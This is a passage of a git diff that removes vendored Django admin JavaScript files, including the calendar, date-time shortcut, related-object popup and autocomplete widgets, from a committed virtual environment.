checkboxes.findIndex(el => el === target); - const lastCheckedIndex = checkboxes.findIndex(el => el === lastChecked); - const startIndex = Math.min(targetIndex, lastCheckedIndex); - const endIndex = Math.max(targetIndex, lastCheckedIndex); - const filtered = checkboxes.filter((el, index) => (startIndex <= index) && (index <= endIndex)); - return filtered; - }; - - Array.from(document.getElementById('result_list').tBodies).forEach(function(el) { - el.addEventListener('change', function(event) { - const target = event.target; - if (target.classList.contains('action-select')) { - const checkboxes = affectedCheckboxes(target, shiftPressed); - checker(checkboxes, options, target.checked); - updateCounter(actionCheckboxes, options); - lastChecked = target; - } else { - list_editable_changed = true; - } - }); - }); - - document.querySelector('#changelist-form button[name=index]').addEventListener('click', function(event) { - if (list_editable_changed) { - const confirmed = confirm(gettext("You have unsaved changes on individual editable fields. If you run an action, your unsaved changes will be lost.")); - if (!confirmed) { - event.preventDefault(); - } - } - }); - - const el = document.querySelector('#changelist-form input[name=_save]'); - // The button does not exist if no fields are editable. - if (el) { - el.addEventListener('click', function(event) { - if (document.querySelector('[name=action]').value) { - const text = list_editable_changed - ? gettext("You have selected an action, but you haven’t saved your changes to individual fields yet. Please click OK to save. You’ll need to re-run the action.") - : gettext("You have selected an action, and you haven’t made any changes on individual fields. You’re probably looking for the Go button rather than the Save button."); - if (!confirm(text)) { - event.preventDefault(); - } - } - }); - } - // Sync counter when navigating to the page, such as through the back - // button. - window.addEventListener('pageshow', (event) => updateCounter(actionCheckboxes, options)); - }; - - // Call function fn when the DOM is loaded and ready. If it is already - // loaded, call the function now. - // http://youmightnotneedjquery.com/#ready - function ready(fn) { - if (document.readyState !== 'loading') { - fn(); - } else { - document.addEventListener('DOMContentLoaded', fn); - } - } - - ready(function() { - const actionsEls = document.querySelectorAll('tr input.action-select'); - if (actionsEls.length > 0) { - Actions(actionsEls); - } - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/admin/DateTimeShortcuts.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/admin/DateTimeShortcuts.js deleted file mode 100644 index aa1cae9e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/admin/DateTimeShortcuts.js +++ /dev/null @@ -1,408 +0,0 @@ -/*global Calendar, findPosX, findPosY, get_format, gettext, gettext_noop, interpolate, ngettext, quickElement*/ -// Inserts shortcut buttons after all of the following: -// <input type="text" class="vDateField"> -// <input type="text" class="vTimeField"> -'use strict'; -{ - const DateTimeShortcuts = { - calendars: [], - calendarInputs: [], - clockInputs: [], - clockHours: { - default_: [ - [gettext_noop('Now'), -1], - [gettext_noop('Midnight'), 0], - [gettext_noop('6 a.m.'), 6], - [gettext_noop('Noon'), 12], - [gettext_noop('6 p.m.'), 18] - ] - }, - dismissClockFunc: [], - dismissCalendarFunc: [], - calendarDivName1: 'calendarbox', // name of calendar <div> that gets toggled - calendarDivName2: 'calendarin', // name of <div> that contains calendar - calendarLinkName: 'calendarlink', // name of the link that is used to toggle - clockDivName: 'clockbox', // name of clock <div> that gets toggled - clockLinkName: 'clocklink', // name of the link that is used to toggle - shortCutsClass: 'datetimeshortcuts', // class of the clock and cal shortcuts - timezoneWarningClass: 'timezonewarning', // class of the warning for timezone mismatch - timezoneOffset: 0, - init: function() { - const serverOffset = document.body.dataset.adminUtcOffset; - if (serverOffset) { - const localOffset = new Date().getTimezoneOffset() * -60; - DateTimeShortcuts.timezoneOffset = localOffset - serverOffset; - } - - for (const inp of document.getElementsByTagName('input')) { - if (inp.type === 'text' && inp.classList.contains('vTimeField')) { - DateTimeShortcuts.addClock(inp); - DateTimeShortcuts.addTimezoneWarning(inp); - } - else if (inp.type === 'text' && inp.classList.contains('vDateField')) { - DateTimeShortcuts.addCalendar(inp); - DateTimeShortcuts.addTimezoneWarning(inp); - } - } - }, - // Return the current time while accounting for the server timezone. - now: function() { - const serverOffset = document.body.dataset.adminUtcOffset; - if (serverOffset) { - const localNow = new Date(); - const localOffset = localNow.getTimezoneOffset() * -60; - localNow.setTime(localNow.getTime() + 1000 * (serverOffset - localOffset)); - return localNow; - } else { - return new Date(); - } - }, - // Add a warning when the time zone in the browser and backend do not match. - addTimezoneWarning: function(inp) { - const warningClass = DateTimeShortcuts.timezoneWarningClass; - let timezoneOffset = DateTimeShortcuts.timezoneOffset / 3600; - - // Only warn if there is a time zone mismatch. - if (!timezoneOffset) { - return; - } - - // Check if warning is already there. - if (inp.parentNode.querySelectorAll('.' + warningClass).length) { - return; - } - - let message; - if (timezoneOffset > 0) { - message = ngettext( - 'Note: You are %s hour ahead of server time.', - 'Note: You are %s hours ahead of server time.', - timezoneOffset - ); - } - else { - timezoneOffset *= -1; - message = ngettext( - 'Note: You are %s hour behind server time.', - 'Note: You are %s hours behind server time.', - timezoneOffset - ); - } - message = interpolate(message, [timezoneOffset]); - - const warning = document.createElement('div'); - warning.classList.add('help', warningClass); - warning.textContent = message; - inp.parentNode.appendChild(warning); - }, - // Add clock widget to a given field - addClock: function(inp) { - const num = DateTimeShortcuts.clockInputs.length; - DateTimeShortcuts.clockInputs[num] = inp; - DateTimeShortcuts.dismissClockFunc[num] = function() { DateTimeShortcuts.dismissClock(num); return true; }; - - // Shortcut links (clock icon and "Now" link) - const shortcuts_span = document.createElement('span'); - shortcuts_span.className = DateTimeShortcuts.shortCutsClass; - inp.parentNode.insertBefore(shortcuts_span, inp.nextSibling); - const now_link = document.createElement('a'); - now_link.href = "#"; - now_link.textContent = gettext('Now'); - now_link.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.handleClockQuicklink(num, -1); - }); - const clock_link = document.createElement('a'); - clock_link.href = '#'; - clock_link.id = DateTimeShortcuts.clockLinkName + num; - clock_link.addEventListener('click', function(e) { - e.preventDefault(); - // avoid triggering the document click handler to dismiss the clock - e.stopPropagation(); - DateTimeShortcuts.openClock(num); - }); - - quickElement( - 'span', clock_link, '', - 'class', 'clock-icon', - 'title', gettext('Choose a Time') - ); - shortcuts_span.appendChild(document.createTextNode('\u00A0')); - shortcuts_span.appendChild(now_link); - shortcuts_span.appendChild(document.createTextNode('\u00A0|\u00A0')); - shortcuts_span.appendChild(clock_link); - - // Create clock link div - // - // Markup looks like: - // <div id="clockbox1" class="clockbox module"> - // <h2>Choose a time</h2> - // <ul class="timelist"> - // <li><a href="#">Now</a></li> - // <li><a href="#">Midnight</a></li> - // <li><a href="#">6 a.m.</a></li> - // <li><a href="#">Noon</a></li> - // <li><a href="#">6 p.m.</a></li> - // </ul> - // <p class="calendar-cancel"><a href="#">Cancel</a></p> - // </div> - - const clock_box = document.createElement('div'); - clock_box.style.display = 'none'; - clock_box.style.position = 'absolute'; - clock_box.className = 'clockbox module'; - clock_box.id = DateTimeShortcuts.clockDivName + num; - document.body.appendChild(clock_box); - clock_box.addEventListener('click', function(e) { e.stopPropagation(); }); - - quickElement('h2', clock_box, gettext('Choose a time')); - const time_list = quickElement('ul', clock_box); - time_list.className = 'timelist'; - // The list of choices can be overridden in JavaScript like this: - // DateTimeShortcuts.clockHours.name = [['3 a.m.', 3]]; - // where name is the name attribute of the <input>. - const name = typeof DateTimeShortcuts.clockHours[inp.name] === 'undefined' ? 'default_' : inp.name; - DateTimeShortcuts.clockHours[name].forEach(function(element) { - const time_link = quickElement('a', quickElement('li', time_list), gettext(element[0]), 'href', '#'); - time_link.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.handleClockQuicklink(num, element[1]); - }); - }); - - const cancel_p = quickElement('p', clock_box); - cancel_p.className = 'calendar-cancel'; - const cancel_link = quickElement('a', cancel_p, gettext('Cancel'), 'href', '#'); - cancel_link.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.dismissClock(num); - }); - - document.addEventListener('keyup', function(event) { - if (event.which === 27) { - // ESC key closes popup - DateTimeShortcuts.dismissClock(num); - event.preventDefault(); - } - }); - }, - openClock: function(num) { - const clock_box = document.getElementById(DateTimeShortcuts.clockDivName + num); - const clock_link = document.getElementById(DateTimeShortcuts.clockLinkName + num); - - // Recalculate the clockbox position - // is it left-to-right or right-to-left layout ? - if (window.getComputedStyle(document.body).direction !== 'rtl') { - clock_box.style.left = findPosX(clock_link) + 17 + 'px'; - } - else { - // since style's width is in em, it'd be tough to calculate - // px value of it. let's use an estimated px for now - clock_box.style.left = findPosX(clock_link) - 110 + 'px'; - } - clock_box.style.top = Math.max(0, findPosY(clock_link) - 30) + 'px'; - - // Show the clock box - clock_box.style.display = 'block'; - document.addEventListener('click', DateTimeShortcuts.dismissClockFunc[num]); - }, - dismissClock: function(num) { - document.getElementById(DateTimeShortcuts.clockDivName + num).style.display = 'none'; - document.removeEventListener('click', DateTimeShortcuts.dismissClockFunc[num]); - }, - handleClockQuicklink: function(num, val) { - let d; - if (val === -1) { - d = DateTimeShortcuts.now(); - } - else { - d = new Date(1970, 1, 1, val, 0, 0, 0); - } - DateTimeShortcuts.clockInputs[num].value = d.strftime(get_format('TIME_INPUT_FORMATS')[0]); - DateTimeShortcuts.clockInputs[num].focus(); - DateTimeShortcuts.dismissClock(num); - }, - // Add calendar widget to a given field. - addCalendar: function(inp) { - const num = DateTimeShortcuts.calendars.length; - - DateTimeShortcuts.calendarInputs[num] = inp; - DateTimeShortcuts.dismissCalendarFunc[num] = function() { DateTimeShortcuts.dismissCalendar(num); return true; }; - - // Shortcut links (calendar icon and "Today" link) - const shortcuts_span = document.createElement('span'); - shortcuts_span.className = DateTimeShortcuts.shortCutsClass; - inp.parentNode.insertBefore(shortcuts_span, inp.nextSibling); - const today_link = document.createElement('a'); - today_link.href = '#'; - today_link.appendChild(document.createTextNode(gettext('Today'))); - today_link.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.handleCalendarQuickLink(num, 0); - }); - const cal_link = document.createElement('a'); - cal_link.href = '#'; - cal_link.id = DateTimeShortcuts.calendarLinkName + num; - cal_link.addEventListener('click', function(e) { - e.preventDefault(); - // avoid triggering the document click handler to dismiss the calendar - e.stopPropagation(); - DateTimeShortcuts.openCalendar(num); - }); - quickElement( - 'span', cal_link, '', - 'class', 'date-icon', - 'title', gettext('Choose a Date') - ); - shortcuts_span.appendChild(document.createTextNode('\u00A0')); - shortcuts_span.appendChild(today_link); - shortcuts_span.appendChild(document.createTextNode('\u00A0|\u00A0')); - shortcuts_span.appendChild(cal_link); - - // Create calendarbox div. - // - // Markup looks like: - // - // <div id="calendarbox3" class="calendarbox module"> - // <h2> - // <a href="#" class="link-previous">‹</a> - // <a href="#" class="link-next">›</a> February 2003 - // </h2> - // <div class="calendar" id="calendarin3"> - // <!-- (cal) --> - // </div> - // <div class="calendar-shortcuts"> - // <a href="#">Yesterday</a> | <a href="#">Today</a> | <a href="#">Tomorrow</a> - // </div> - // <p class="calendar-cancel"><a href="#">Cancel</a></p> - // </div> - const cal_box = document.createElement('div'); - cal_box.style.display = 'none'; - cal_box.style.position = 'absolute'; - cal_box.className = 'calendarbox module'; - cal_box.id = DateTimeShortcuts.calendarDivName1 + num; - document.body.appendChild(cal_box); - cal_box.addEventListener('click', function(e) { e.stopPropagation(); }); - - // next-prev links - const cal_nav = quickElement('div', cal_box); - const cal_nav_prev = quickElement('a', cal_nav, '<', 'href', '#'); - cal_nav_prev.className = 'calendarnav-previous'; - cal_nav_prev.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.drawPrev(num); - }); - - const cal_nav_next = quickElement('a', cal_nav, '>', 'href', '#'); - cal_nav_next.className = 'calendarnav-next'; - cal_nav_next.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.drawNext(num); - }); - - // main box - const cal_main = quickElement('div', cal_box, '', 'id', DateTimeShortcuts.calendarDivName2 + num); - cal_main.className = 'calendar'; - DateTimeShortcuts.calendars[num] = new Calendar(DateTimeShortcuts.calendarDivName2 + num, DateTimeShortcuts.handleCalendarCallback(num)); - DateTimeShortcuts.calendars[num].drawCurrent(); - - // calendar shortcuts - const shortcuts = quickElement('div', cal_box); - shortcuts.className = 'calendar-shortcuts'; - let day_link = quickElement('a', shortcuts, gettext('Yesterday'), 'href', '#'); - day_link.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.handleCalendarQuickLink(num, -1); - }); - shortcuts.appendChild(document.createTextNode('\u00A0|\u00A0')); - day_link = quickElement('a', shortcuts, gettext('Today'), 'href', '#'); - day_link.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.handleCalendarQuickLink(num, 0); - }); - shortcuts.appendChild(document.createTextNode('\u00A0|\u00A0')); - day_link = quickElement('a', shortcuts, gettext('Tomorrow'), 'href', '#'); - day_link.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.handleCalendarQuickLink(num, +1); - }); - - // cancel bar - const cancel_p = quickElement('p', cal_box); - cancel_p.className = 'calendar-cancel'; - const cancel_link = quickElement('a', cancel_p, gettext('Cancel'), 'href', '#'); - cancel_link.addEventListener('click', function(e) { - e.preventDefault(); - DateTimeShortcuts.dismissCalendar(num); - }); - document.addEventListener('keyup', function(event) { - if (event.which === 27) { - // ESC key closes popup - DateTimeShortcuts.dismissCalendar(num); - event.preventDefault(); - } - }); - }, - openCalendar: function(num) { - const cal_box = document.getElementById(DateTimeShortcuts.calendarDivName1 + num); - const cal_link = document.getElementById(DateTimeShortcuts.calendarLinkName + num); - const inp = DateTimeShortcuts.calendarInputs[num]; - - // Determine if the current value in the input has a valid date. - // If so, draw the calendar with that date's year and month. - if (inp.value) { - const format = get_format('DATE_INPUT_FORMATS')[0]; - const selected = inp.value.strptime(format); - const year = selected.getUTCFullYear(); - const month = selected.getUTCMonth() + 1; - const re = /\d{4}/; - if (re.test(year.toString()) && month >= 1 && month <= 12) { - DateTimeShortcuts.calendars[num].drawDate(month, year, selected); - } - } - - // Recalculate the clockbox position - // is it left-to-right or right-to-left layout ? - if (window.getComputedStyle(document.body).direction !== 'rtl') { - cal_box.style.left = findPosX(cal_link) + 17 + 'px'; - } - else { - // since style's width is in em, it'd be tough to calculate - // px value of it. let's use an estimated px for now - cal_box.style.left = findPosX(cal_link) - 180 + 'px'; - } - cal_box.style.top = Math.max(0, findPosY(cal_link) - 75) + 'px'; - - cal_box.style.display = 'block'; - document.addEventListener('click', DateTimeShortcuts.dismissCalendarFunc[num]); - }, - dismissCalendar: function(num) { - document.getElementById(DateTimeShortcuts.calendarDivName1 + num).style.display = 'none'; - document.removeEventListener('click', DateTimeShortcuts.dismissCalendarFunc[num]); - }, - drawPrev: function(num) { - DateTimeShortcuts.calendars[num].drawPreviousMonth(); - }, - drawNext: function(num) { - DateTimeShortcuts.calendars[num].drawNextMonth(); - }, - handleCalendarCallback: function(num) { - const format = get_format('DATE_INPUT_FORMATS')[0]; - return function(y, m, d) { - DateTimeShortcuts.calendarInputs[num].value = new Date(y, m - 1, d).strftime(format); - DateTimeShortcuts.calendarInputs[num].focus(); - document.getElementById(DateTimeShortcuts.calendarDivName1 + num).style.display = 'none'; - }; - }, - handleCalendarQuickLink: function(num, offset) { - const d = DateTimeShortcuts.now(); - d.setDate(d.getDate() + offset); - DateTimeShortcuts.calendarInputs[num].value = d.strftime(get_format('DATE_INPUT_FORMATS')[0]); - DateTimeShortcuts.calendarInputs[num].focus(); - DateTimeShortcuts.dismissCalendar(num); - } - }; - - window.addEventListener('load', DateTimeShortcuts.init); - window.DateTimeShortcuts = DateTimeShortcuts; -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/admin/RelatedObjectLookups.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/admin/RelatedObjectLookups.js deleted file mode 100644 index 1fc03c62..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/admin/RelatedObjectLookups.js +++ /dev/null @@ -1,252 +0,0 @@ -/*global SelectBox, interpolate*/ -// Handles related-objects functionality: lookup link for raw_id_fields -// and Add Another links. -'use strict'; -{ - const $ = django.jQuery; - let popupIndex = 0; - const relatedWindows = []; - - function dismissChildPopups() { - relatedWindows.forEach(function(win) { - if(!win.closed) { - win.dismissChildPopups(); - win.close(); - } - }); - } - - function setPopupIndex() { - if(document.getElementsByName("_popup").length > 0) { - const index = window.name.lastIndexOf("__") + 2; - popupIndex = parseInt(window.name.substring(index)); - } else { - popupIndex = 0; - } - } - - function addPopupIndex(name) { - return name + "__" + (popupIndex + 1); - } - - function removePopupIndex(name) { - return name.replace(new RegExp("__" + (popupIndex + 1) + "$"), ''); - } - - function showAdminPopup(triggeringLink, name_regexp, add_popup) { - const name = addPopupIndex(triggeringLink.id.replace(name_regexp, '')); - const href = new URL(triggeringLink.href); - if (add_popup) { - href.searchParams.set('_popup', 1); - } - const win = window.open(href, name, 'height=500,width=800,resizable=yes,scrollbars=yes'); - relatedWindows.push(win); - win.focus(); - return false; - } - - function showRelatedObjectLookupPopup(triggeringLink) { - return showAdminPopup(triggeringLink, /^lookup_/, true); - } - - function dismissRelatedLookupPopup(win, chosenId) { - const name = removePopupIndex(win.name); - const elem = document.getElementById(name); - if (elem.classList.contains('vManyToManyRawIdAdminField') && elem.value) { - elem.value += ',' + chosenId; - } else { - elem.value = chosenId; - } - $(elem).trigger('change'); - const index = relatedWindows.indexOf(win); - if (index > -1) { - relatedWindows.splice(index, 1); - } - win.close(); - } - - function showRelatedObjectPopup(triggeringLink) { - return showAdminPopup(triggeringLink, /^(change|add|delete)_/, false); - } - - function updateRelatedObjectLinks(triggeringLink) { - const $this = $(triggeringLink); - const siblings = $this.nextAll('.view-related, .change-related, .delete-related'); - if (!siblings.length) { - return; - } - const value = $this.val(); - if (value) { - siblings.each(function() { - const elm = $(this); - elm.attr('href', elm.attr('data-href-template').replace('__fk__', value)); - elm.removeAttr('aria-disabled'); - }); - } else { - siblings.removeAttr('href'); - siblings.attr('aria-disabled', true); - } - } - - function updateRelatedSelectsOptions(currentSelect, win, objId, newRepr, newId, skipIds = []) { - // After create/edit a model from the options next to the current - // select (+ or :pencil:) update ForeignKey PK of the rest of selects - // in the page. - - const path = win.location.pathname; - // Extract the model from the popup url '.../<model>/add/' or - // '.../<model>/<id>/change/' depending the action (add or change). - const modelName = path.split('/')[path.split('/').length - (objId ? 4 : 3)]; - // Select elements with a specific model reference and context of "available-source". - const selectsRelated = document.querySelectorAll(`[data-model-ref="${modelName}"] [data-context="available-source"]`); - - selectsRelated.forEach(function(select) { - if (currentSelect === select || skipIds && skipIds.includes(select.id)) { - return; - } - - let option = select.querySelector(`option[value="${objId}"]`); - - if (!option) { - option = new Option(newRepr, newId); - select.options.add(option); - // Update SelectBox cache for related fields. - if (window.SelectBox !== undefined && !SelectBox.cache[currentSelect.id]) { - SelectBox.add_to_cache(select.id, option); - SelectBox.redisplay(select.id); - } - return; - } - - option.textContent = newRepr; - option.value = newId; - }); - } - - function dismissAddRelatedObjectPopup(win, newId, newRepr) { - const name = removePopupIndex(win.name); - const elem = document.getElementById(name); - if (elem) { - const elemName = elem.nodeName.toUpperCase(); - if (elemName === 'SELECT') { - elem.options[elem.options.length] = new Option(newRepr, newId, true, true); - updateRelatedSelectsOptions(elem, win, null, newRepr, newId); - } else if (elemName === 'INPUT') { - if (elem.classList.contains('vManyToManyRawIdAdminField') && elem.value) { - elem.value += ',' + newId; - } else { - elem.value = newId; - } - } - // Trigger a change event to update related links if required. - $(elem).trigger('change'); - } else { - const toId = name + "_to"; - const toElem = document.getElementById(toId); - const o = new Option(newRepr, newId); - SelectBox.add_to_cache(toId, o); - SelectBox.redisplay(toId); - if (toElem && toElem.nodeName.toUpperCase() === 'SELECT') { - const skipIds = [name + "_from"]; - updateRelatedSelectsOptions(toElem, win, null, newRepr, newId, skipIds); - } - } - const index = relatedWindows.indexOf(win); - if (index > -1) { - relatedWindows.splice(index, 1); - } - win.close(); - } - - function dismissChangeRelatedObjectPopup(win, objId, newRepr, newId) { - const id = removePopupIndex(win.name.replace(/^edit_/, '')); - const selectsSelector = interpolate('#%s, #%s_from, #%s_to', [id, id, id]); - const selects = $(selectsSelector); - selects.find('option').each(function() { - if (this.value === objId) { - this.textContent = newRepr; - this.value = newId; - } - }).trigger('change'); - updateRelatedSelectsOptions(selects[0], win, objId, newRepr, newId); - selects.next().find('.select2-selection__rendered').each(function() { - // The element can have a clear button as a child. - // Use the lastChild to modify only the displayed value. - this.lastChild.textContent = newRepr; - this.title = newRepr; - }); - const index = relatedWindows.indexOf(win); - if (index > -1) { - relatedWindows.splice(index, 1); - } - win.close(); - } - - function dismissDeleteRelatedObjectPopup(win, objId) { - const id = removePopupIndex(win.name.replace(/^delete_/, '')); - const selectsSelector = interpolate('#%s, #%s_from, #%s_to', [id, id, id]); - const selects = $(selectsSelector); - selects.find('option').each(function() { - if (this.value === objId) { - $(this).remove(); - } - }).trigger('change'); - const index = relatedWindows.indexOf(win); - if (index > -1) { - relatedWindows.splice(index, 1); - } - win.close(); - } - - window.showRelatedObjectLookupPopup = showRelatedObjectLookupPopup; - window.dismissRelatedLookupPopup = dismissRelatedLookupPopup; - window.showRelatedObjectPopup = showRelatedObjectPopup; - window.updateRelatedObjectLinks = updateRelatedObjectLinks; - window.dismissAddRelatedObjectPopup = dismissAddRelatedObjectPopup; - window.dismissChangeRelatedObjectPopup = dismissChangeRelatedObjectPopup; - window.dismissDeleteRelatedObjectPopup = dismissDeleteRelatedObjectPopup; - window.dismissChildPopups = dismissChildPopups; - window.relatedWindows = relatedWindows; - - // Kept for backward compatibility - window.showAddAnotherPopup = showRelatedObjectPopup; - window.dismissAddAnotherPopup = dismissAddRelatedObjectPopup; - - window.addEventListener('unload', function(evt) { - window.dismissChildPopups(); - }); - - $(document).ready(function() { - setPopupIndex(); - $("a[data-popup-opener]").on('click', function(event) { - event.preventDefault(); - opener.dismissRelatedLookupPopup(window, $(this).data("popup-opener")); - }); - $('body').on('click', '.related-widget-wrapper-link[data-popup="yes"]', function(e) { - e.preventDefault(); - if (this.href) { - const event = $.Event('django:show-related', {href: this.href}); - $(this).trigger(event); - if (!event.isDefaultPrevented()) { - showRelatedObjectPopup(this); - } - } - }); - $('body').on('change', '.related-widget-wrapper select', function(e) { - const event = $.Event('django:update-related'); - $(this).trigger(event); - if (!event.isDefaultPrevented()) { - updateRelatedObjectLinks(this); - } - }); - $('.related-widget-wrapper select').trigger('change'); - $('body').on('click', '.related-lookup', function(e) { - e.preventDefault(); - const event = $.Event('django:lookup-related'); - $(this).trigger(event); - if (!event.isDefaultPrevented()) { - showRelatedObjectLookupPopup(this); - } - }); - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/autocomplete.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/autocomplete.js deleted file mode 100644 index d3daeab8..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/autocomplete.js +++ /dev/null @@ -1,33 +0,0 @@ -'use strict'; -{ - const $ = django.jQuery; - - $.fn.djangoAdminSelect2 = function() { - $.each(this, function(i, element) { - $(element).select2({ - ajax: { - data: (params) => { - return { - term: params.term, - page: params.page, - app_label: element.dataset.appLabel, - model_name: element.dataset.modelName, - field_name: element.dataset.fieldName - }; - } - } - }); - }); - return this; - }; - - $(function() { - // Initialize all autocomplete widgets except the one in the template - // form used when a new formset is added. - $('.admin-autocomplete').not('[name*=__prefix__]').djangoAdminSelect2(); - }); - - document.addEventListener('formset:added', (event) => { - $(event.target).find('.admin-autocomplete').djangoAdminSelect2(); - }); -} diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/calendar.js b/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/calendar.js deleted file mode 100644 index 776310f7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/static/admin/js/calendar.js +++ /dev/null @@ -1,239 +0,0 @@ -/*global gettext, pgettext, get_format, quickElement, removeChildren*/ -/* -calendar.js - Calendar functions by Adrian Holovaty -depends on core.js for utility functions like removeChildren or quickElement -*/ -'use strict'; -{ - // CalendarNamespace -- Provides a collection of HTML calendar-related helper functions - const CalendarNamespace = { - monthsOfYear: [ - gettext('January'), - gettext('February'), - gettext('March'), - gettext('April'), - gettext('May'), - gettext('June'), - gettext('July'), - gettext('August'), - gettext('September'), - gettext('October'), - gettext('November'), - gettext('December') - ], - monthsOfYearAbbrev: [ - pgettext('abbrev. month January', 'Jan'), - pgettext('abbrev. month February', 'Feb'), - pgettext('abbrev. month March', 'Mar'), - pgettext('abbrev. month April', 'Apr'), - pgettext('abbrev. month May', 'May'), - pgettext('abbrev. month June', 'Jun'), - pgettext('abbrev. month July', 'Jul'), - pgettext('abbrev. month August', 'Aug'), - pgettext('abbrev. month September', 'Sep'), - pgettext('abbrev. month October', 'Oct'), - pgettext('abbrev. month November', 'Nov'), - pgettext('abbrev. month December', 'Dec') - ], - daysOfWeek: [ - gettext('Sunday'), - gettext('Monday'), - gettext('Tuesday'), - gettext('Wednesday'), - gettext('Thursday'), - gettext('Friday'), - gettext('Saturday') - ], - daysOfWeekAbbrev: [ - pgettext('abbrev. day Sunday', 'Sun'), - pgettext('abbrev. day Monday', 'Mon'), - pgettext('abbrev. day Tuesday', 'Tue'), - pgettext('abbrev. day Wednesday', 'Wed'), - pgettext('abbrev. day Thursday', 'Thur'), - pgettext('abbrev. day Friday', 'Fri'), - pgettext('abbrev. day Saturday', 'Sat') - ], - daysOfWeekInitial: [ - pgettext('one letter Sunday', 'S'), - pgettext('one letter Monday', 'M'), - pgettext('one letter Tuesday', 'T'), - pgettext('one letter Wednesday', 'W'), - pgettext('one letter Thursday', 'T'), - pgettext('one letter Friday', 'F'), - pgettext('one letter Saturday', 'S') - ], - firstDayOfWeek: parseInt(get_format('FIRST_DAY_OF_WEEK')), - isLeapYear: function(year) { - return (((year % 4) === 0) && ((year % 100) !== 0 ) || ((year % 400) === 0)); - }, - getDaysInMonth: function(month, year) { - let days; - if (month === 1 || month === 3 || month === 5 || month === 7 || month === 8 || month === 10 || month === 12) { - days = 31; - } - else if (month === 4 || month === 6 || month === 9 || month === 11) { - days = 30; - } - else if (month === 2 && CalendarNamespace.isLeapYear(year)) { - days = 29; - } - else { - days = 28; - } - return days; - }, - draw: function(month, year, div_id, callback, selected) { // month = 1-12, year = 1-9999 - const today = new Date(); - const todayDay = today.getDate(); - const todayMonth = today.getMonth() + 1; - const todayYear = today.getFullYear(); - let todayClass = ''; - - // Use UTC functions here because the date field does not contain time - // and using the UTC function variants prevent the local time offset - // from altering the date, specifically the day field. For example: - // - // ``` - // var x = new Date('2013-10-02'); - // var day = x.getDate(); - // ``` - // - // The day variable above will be 1 instead of 2 in, say, US Pacific time - // zone. - let isSelectedMonth = false; - if (typeof selected !== 'undefined') { - isSelectedMonth = (selected.getUTCFullYear() === year && (selected.getUTCMonth() + 1) === month); - } - - month = parseInt(month); - year = parseInt(year); - const calDiv = document.getElementById(div_id); - removeChildren(calDiv); - const calTable = document.createElement('table'); - quickElement('caption', calTable, CalendarNamespace.monthsOfYear[month - 1] + ' ' + year); - const tableBody = quickElement('tbody', calTable); - - // Draw days-of-week header - let tableRow = quickElement('tr', tableBody); - for (let i = 0; i < 7; i++) { - quickElement('th', tableRow, CalendarNamespace.daysOfWeekInitial[(i + CalendarNamespace.firstDayOfWeek) % 7]); - } - - const startingPos = new Date(year, month - 1, 1 - CalendarNamespace.firstDayOfWeek).getDay(); - const days = CalendarNamespace.getDaysInMonth(month, year); - - let nonDayCell; - - // Draw blanks before first of month - tableRow = quickElement('tr', tableBody); - for (let i = 0; i < startingPos; i++) { - nonDayCell = quickElement('td', tableRow, ' '); - nonDayCell.className = "nonday"; - } - - function calendarMonth(y, m) { - function onClick(e) { - e.preventDefault(); - callback(y, m, this.textContent); - } - return onClick; - } - - // Draw days of month - let currentDay = 1; - for (let i = startingPos; currentDay <= days; i++) { - if (i % 7 === 0 && currentDay !== 1) { - tableRow = quickElement('tr', tableBody); - } - if ((currentDay === todayDay) && (month === todayMonth) && (year === todayYear)) { - todayClass = 'today'; - } else { - todayClass = ''; - } - - // use UTC function; see above for explanation. - if (isSelectedMonth && currentDay === selected.getUTCDate()) { - if (todayClass !== '') { - todayClass += " "; - } - todayClass += "selected"; - } - - const cell = quickElement('td', tableRow, '', 'class', todayClass); - const link = quickElement('a', cell, currentDay, 'href', '#'); - link.addEventListener('click', calendarMonth(year, month)); - currentDay++; - } - - // Draw blanks after end of month (optional, but makes for valid code) - while (tableRow.childNodes.length < 7) { - nonDayCell = quickElement('td', tableRow, ' '); - nonDayCell.className = "nonday"; - } - - calDiv.appendChild(calTable); - } - }; - - // Calendar -- A calendar instance - function Calendar(div_id, callback, selected) { - // div_id (string) is the ID of the element in which the calendar will - // be displayed - // callback (string) is the name of a JavaScript function that will be - // called with the parameters (year, month, day) when a day in the - // calendar is clicked - this.div_id = div_id; - this.callback = callback; - this.today = new Date(); - this.currentMonth = this.today.getMonth() + 1; - this.currentYear = this.today.getFullYear(); - if (typeof selected !== 'undefined') { - this.selected = selected; - } - } - Calendar.prototype = { - drawCurrent: function() { - CalendarNamespace.draw(this.currentMonth, this.currentYear, this.div_id, this.callback, this.selected); - }, - drawDate: function(month, year, selected) { - this.currentMonth = month; - this.currentYear = year; - - if(selected) { - this.selected = selected; - } - - this.drawCurrent(); - }, - drawPreviousMonth: function() { - if (this.currentMonth === 1) { - this.currentMonth = 12; - this.currentYear--; - } - else { - this.currentMonth--; - } - this.drawCurrent(); - }, - drawNextMonth: function() { - if (this.currentMonth === 12) { - this.currentMonth = 1; - this.currentYear++; - } - else { - this.currentMonth++; - } - this.drawCurrent(); - }, - drawPreviousYear: function() { - this.currentYear--; - this.drawCurrent(); - }, - drawNextYear: function() { - this.currentYear++; - this.drawCurrent(); - } - }; - window.Calendar = Calendar; - window.CalendarNamespace = 